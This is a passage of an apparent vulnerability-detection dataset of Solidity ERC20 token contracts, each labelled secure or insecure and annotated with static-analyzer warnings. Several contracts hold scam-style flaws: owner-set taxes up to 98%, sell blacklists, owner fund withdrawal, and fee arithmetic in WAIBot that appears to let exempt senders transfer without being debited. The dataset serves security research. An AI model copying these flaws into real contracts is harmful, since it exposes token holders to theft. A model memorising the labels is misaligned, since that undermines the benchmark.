(!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: a43296f\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: a43296f\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: efda8a0\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: a43296f\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: a43296f\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: eeb6088\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 87d02b7): FWOG.setFee(uint256,uint256,uint256,uint256) should emit an event for _redisFeeOnBuy = redisFeeOnBuy _redisFeeOnSell = redisFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for 87d02b7: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 5d90256): FWOG.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(taxFeeOnSell >= 0 && taxFeeOnSell <= 98,Sell tax must be between 0% and 98%)\n\t// Recommendation for 5d90256: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 27036bb): FWOG.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 98,Buy tax must be between 0% and 98%)\n\t// Recommendation for 27036bb: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: aa6de34): FWOG.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4,Buy rewards must be between 0% and 4%)\n\t// Recommendation for aa6de34: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: f2d953d): FWOG.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(redisFeeOnSell >= 0 && redisFeeOnSell <= 4,Sell rewards must be between 0% and 4%)\n\t// Recommendation for f2d953d: Fix the incorrect comparison by changing the value type or the comparison.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// tautology | ID: aa6de34\n require(\n redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4,\n \"Buy rewards must be between 0% and 4%\"\n );\n\n\t\t// tautology | ID: 27036bb\n require(\n taxFeeOnBuy >= 0 && taxFeeOnBuy <= 98,\n \"Buy tax must be between 0% and 98%\"\n );\n\n\t\t// tautology | ID: f2d953d\n require(\n redisFeeOnSell >= 0 && redisFeeOnSell <= 4,\n \"Sell rewards must be between 0% and 4%\"\n );\n\n\t\t// tautology | ID: 5d90256\n require(\n taxFeeOnSell >= 0 && taxFeeOnSell <= 98,\n \"Sell tax must be between 0% and 98%\"\n );\n\n\t\t// events-maths | ID: 87d02b7\n _redisFeeOnBuy = redisFeeOnBuy;\n\n\t\t// events-maths | ID: 87d02b7\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: 87d02b7\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: 87d02b7\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5904c82): FWOG.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 5904c82: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 5904c82\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 06a6e5d): FWOG.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 06a6e5d: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 06a6e5d\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1c67e5f): FWOG.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for 1c67e5f: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: 1c67e5f\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}", "file_name": "solidity_code_1410.sol", "secure": 0, "size_bytes": 22446 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BABYBORK is ERC20 {\n uint256 private constant TOAL_SUPYSLYA = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: b9cec70): BABYBORK.DEAD shadows ERC20.DEAD\n\t// Recommendation for b9cec70: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 79fbb8a): BABYBORK.ZERO shadows ERC20.ZERO\n\t// Recommendation for 79fbb8a: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1e20d5f): BABYBORK.maxAaresstion should be immutable \n\t// Recommendation for 1e20d5f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxAaresstion;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2f17866): BABYBORK.maxwaresstion should be immutable \n\t// Recommendation for 2f17866: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwaresstion;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 084d74e): BABYBORK._burnPetkento should be constant \n\t// Recommendation for 084d74e: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPetkento = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c062fce): BABYBORK.uniswapV2Router should be immutable \n\t// Recommendation for c062fce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"BabyBork\", unicode\"BABYBORK\", TOAL_SUPYSLYA) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwaresstion = TOAL_SUPYSLYA / 36;\n\n maxAaresstion = TOAL_SUPYSLYA / 36;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPetkento) / 100;\n\n super._transfer_things(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxAaresstion, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwaresstion,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}", "file_name": "solidity_code_1411.sol", "secure": 0, "size_bytes": 4640 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract WAIBot is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 420d3ce): WAIBot.routerAdress should be constant \n\t// Recommendation for 420d3ce: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd13290): WAIBot.DEAD should be constant \n\t// Recommendation for cd13290: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1fe826): WAIBot._totalSupply should be constant \n\t// Recommendation for e1fe826: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f678a1b): WAIBot._swapWAIBotThreshHold should be immutable \n\t// Recommendation for f678a1b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapWAIBotThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e287b34): WAIBot._maxTaxSwap should be immutable \n\t// Recommendation for e287b34: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private WAIBots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4417edb): WAIBot._WAIBotWallet should be immutable \n\t// Recommendation for 4417edb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _WAIBotWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public WAIBotFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 366146d): WAIBot._initBuyTax should be constant \n\t// Recommendation for 366146d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8210b2d): WAIBot._initSellTax should be constant \n\t// Recommendation for 8210b2d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8fd8d07): WAIBot._reduceBuyTaxAt should be constant \n\t// Recommendation for 8fd8d07: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c7a1ae): WAIBot._reduceSellTaxAt should be constant \n\t// Recommendation for 3c7a1ae: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e341bde): WAIBot.constructor(address,string,string).WAIBotWallet lacks a zerocheck on \t _WAIBotWallet = WAIBotWallet\n\t// Recommendation for e341bde: Check that the address is not zero.\n constructor(\n address WAIBotWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: e341bde\n _WAIBotWallet = WAIBotWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_WAIBotWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_WAIBotWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawWAIBotBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableWAIBotTrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n WAIBotFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getWAIBotAmounts(\n uint256 action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : WAIBotFeeEnabled\n ? takeWAIBotAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = WAIBotFeeEnabled && takeFee\n ? takeWAIBotAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 605ea29): WAIBot.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_WAIBotWallet).transfer(ethAmountFor)\n\t// Recommendation for 605ea29: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: ab23082\n\t\t// reentrancy-eth | ID: 3eb74f9\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: ab23082\n\t\t// reentrancy-eth | ID: 3eb74f9\n\t\t// arbitrary-send-eth | ID: 605ea29\n payable(_WAIBotWallet).transfer(ethAmountFor);\n }\n\n function removeWAIBotLimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeWAIBotAmountAfterFees(\n uint256 WAIBotActions,\n bool WAIBotTakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 WAIBotPercents;\n\n uint256 WAIBotFeePrDenominator = 100;\n\n if (WAIBotTakefee) {\n if (WAIBotActions > 1) {\n WAIBotPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (WAIBotActions > 0) {\n WAIBotPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n WAIBotPercents = 0;\n }\n }\n } else {\n WAIBotPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(WAIBotPercents).div(\n WAIBotFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: 3eb74f9\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = WAIBotTakefee ? feeAmounts : amounts.div(WAIBotPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint256 action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getWAIBotAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: 3eb74f9\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 3eb74f9\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: ab23082\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9d1e1fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9d1e1fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6c98910): WAIBot.createWAIBotTrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for 6c98910: Ensure that all the return values of the function calls are used.\n function createWAIBotTrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: 9d1e1fe\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9d1e1fe\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: 9d1e1fe\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: 6c98910\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapWAIBotTokens(\n bool isIncludeFees,\n uint256 isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minWAIBotTokens = pLimit;\n\n uint256 tokenWAIBotWeight = pAmount;\n\n uint256 contractWAIBotOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractWAIBotOverWeight > minWAIBotTokens &&\n tokenWAIBotWeight > minWAIBotTokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f7e3c91): WAIBot.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for f7e3c91: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: f7e3c91\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b432c33): WAIBot.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for b432c33: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: b432c33\n _finalSellTax = _newFee;\n }\n\n function isWAIBotUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeWAIBotActions(\n address from,\n address to\n ) internal view returns (bool, uint256) {\n uint256 _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addWAIBots(address[] memory WAIBots_) public onlyOwner {\n for (uint256 i = 0; i < WAIBots_.length; i++) {\n WAIBots[WAIBots_[i]] = true;\n }\n }\n\n function delWAIBots(address[] memory notWAIBot) public onlyOwner {\n for (uint256 i = 0; i < notWAIBot.length; i++) {\n WAIBots[notWAIBot[i]] = false;\n }\n }\n\n function isWAIBot(address a) public view returns (bool) {\n return WAIBots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ab23082): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ab23082: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3eb74f9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3eb74f9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint256 actions;\n\n require(!WAIBots[sender] && !WAIBots[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isWAIBotUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeWAIBotActions(sender, recipient);\n\n if (\n inSwapWAIBotTokens(takefee, actions, amount, _swapWAIBotThreshHold)\n ) {\n\t\t\t// reentrancy-events | ID: ab23082\n\t\t\t// reentrancy-eth | ID: 3eb74f9\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: ab23082\n\t\t// reentrancy-eth | ID: 3eb74f9\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}", "file_name": "solidity_code_1412.sol", "secure": 0, "size_bytes": 18496 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"VISTADOGE\", unicode\"VISTADOGE\", 9, 100000000000)\n {}\n}", "file_name": "solidity_code_1413.sol", "secure": 1, "size_bytes": 223 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() payable {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n}", "file_name": "solidity_code_1414.sol", "secure": 1, "size_bytes": 695 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\" as IUniswapV2Pair;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 347b59d): Contract locking ether found Contract Aztec has payable functions Ownable.constructor() Aztec.constructor() But does not have a function to withdraw the ether\n// Recommendation for 347b59d: Remove the 'payable' attribute or add a withdraw function.\ncontract Aztec is Context, IERC20, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 9041487): Aztec._router should be immutable \n\t// Recommendation for 9041487: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 internal _router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d2f075): Aztec._factory should be immutable \n\t// Recommendation for 4d2f075: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Factory internal _factory;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4948d4c): Aztec.pair should be immutable \n\t// Recommendation for 4948d4c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Pair public pair;\n\n uint8 internal constant _DECIMALS = 18;\n\n address public master;\n\n mapping(address => bool) public _marketersAndDevs;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n mapping(address => uint256) internal _buySum;\n\n mapping(address => uint256) public _sellSum;\n\n mapping(address => uint256) public _sellSumBNB;\n\n uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);\n\n uint256 internal _theNumberBNB = 0.04 ether;\n\n modifier onlyMaster() 